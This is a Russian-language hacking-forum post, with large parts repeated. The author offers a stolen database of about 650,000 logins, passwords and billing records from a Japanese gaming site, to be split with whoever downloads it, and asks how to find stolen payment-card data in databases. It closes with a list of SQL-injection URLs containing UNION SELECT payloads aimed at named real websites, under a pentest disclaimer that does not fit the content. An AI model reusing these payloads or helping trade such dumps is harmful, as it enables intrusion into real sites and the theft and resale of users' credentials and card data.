!disklaimer! в рамках пентеста и аудита по договорённости с держателем серверов и в качестве ознакомления
Вводная
Господа! Есть японский игровой сайт(портал) есть дамп на нём, у меня есть вулнерабле ссылка прямо к дамперу, как минимум там 650к user/emeil/pass и биллинговая инфа. Насчёт картошки не уверен, я просто хз как её распозновать в базах(кстати проведите ликбез плз если не трудно).
Проблема
Не могу проглотить жирный кусок. Комп говно. Дампер паблик. Постоянные срывы, дисконнекты. sudo ./Я устал©ЕБН
Решение
Дамперы пишите в ПМ, (кроме тех у кого лоу сообщений) дам ссылку на слив дампа, с вас 1/3 мне этого дампа. (т.е. вам 2/3 короче мне 150-200к emeil:pass)
Только прошу иметь совесть не чекать мою долю на сервисы :( полагаюсь на совесть....
если что(если подружимсо) дам кучу других ссылок на рабочие вулнерабле, покопаетесь на картоху, я ни разу не видел её в глаза аще.
И умоляю!!!! Покажите мне скрины картохи в msql db можете закрыть номера мне главное как они там ска называюццо!!111
Вводная
Господа! Есть японский игровой сайт(портал) есть дамп на нём, у меня есть вулнерабле ссылка прямо к дамперу, как минимум там 650к user/emeil/pass и биллинговая инфа. Насчёт картошки не уверен, я просто хз как её распозновать в базах(кстати проведите ликбез плз если не трудно).
Проблема
Не могу проглотить жирный кусок. Комп говно. Дампер паблик. Постоянные срывы, дисконнекты. sudo ./Я устал©ЕБН
Решение
Дамперы пишите в ПМ, (кроме тех у кого лоу сообщений) дам ссылку на слив дампа, с вас 1/3 мне этого дампа. (т.е. вам 2/3 короче мне 150-200к emeil:pass)
Только прошу иметь совесть не чекать мою долю на сервисы :( полагаюсь на совесть....
если что(если подружимсо) дам кучу других ссылок на рабочие вулнерабле, покопаетесь на картоху, я ни разу не видел её в глаза аще.
http://www.tangomilano.it/evento.asp?id=19730&start=386117999999.9 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,[t],16,17,18,19,20,21,22,23,24
http://www.hydropack.com.tr/products.php?id=1' union all select [t],2,3,4,5,6,7 and '0'='1--
http://www.gurteks.com.tr/En/icerik.php?id=product' union all select 1,2,3,4,[t],6,7,8,9,10,11,12,13,14,15,16 and '0'='1--
http://eklegodesign.net/product_portfolio.php?menu_id=4&category_id=5&product_id=1999999.9 union all select 1,2,3,4,5,6,7,8,[t]
http://www.teamgear.us/store.php?id=999999.9 union all select 1,2,3,4,5,6,7,[t],9,10,11,12,13,14,15
http://www.smtmax.com/category.php?id=999999.9 union all select [t],2,3,4,5,6,7,8,9,10,11,12,13,14
http://www.thelaurelmall.com/merchant.php?id=999999.9 union all select 1,2,[t],4,5,6,7,8
http://www.ftgwatch.com.au/viewStock.php?typeID=[t]
https://prabhupadabooks.com/d.php?qg=1089 or 1=999999.9 union all select [t],2,3,4,5,6--
https://www.texasairsalvage.com/main_view.php?editid1=110582' and [t] and '1'='1
http://www.hydropack.com.tr/products.php?id=1' union all select [t],2,3,4,5,6,7 and '0'='1--
http://www.gurteks.com.tr/En/icerik.php?id=product' union all select 1,2,3,4,[t],6,7,8,9,10,11,12,13,14,15,16 and '0'='1--
http://eklegodesign.net/product_portfolio.php?menu_id=4&category_id=5&product_id=1999999.9 union all select 1,2,3,4,5,6,7,8,[t]
http://www.teamgear.us/store.php?id=999999.9 union all select 1,2,3,4,5,6,7,[t],9,10,11,12,13,14,15
http://www.smtmax.com/category.php?id=999999.9 union all select [t],2,3,4,5,6,7,8,9,10,11,12,13,14
http://www.thelaurelmall.com/merchant.php?id=999999.9 union all select 1,2,[t],4,5,6,7,8
http://www.ftgwatch.com.au/viewStock.php?typeID=[t]
https://prabhupadabooks.com/d.php?qg=1089 or 1=999999.9 union all select [t],2,3,4,5,6--
https://www.texasairsalvage.com/main_view.php?editid1=110582' and [t] and '1'='1
И умоляю!!!! Покажите мне скрины картохи в msql db можете закрыть номера мне главное как они там ска называюццо!!111
Последнее редактирование: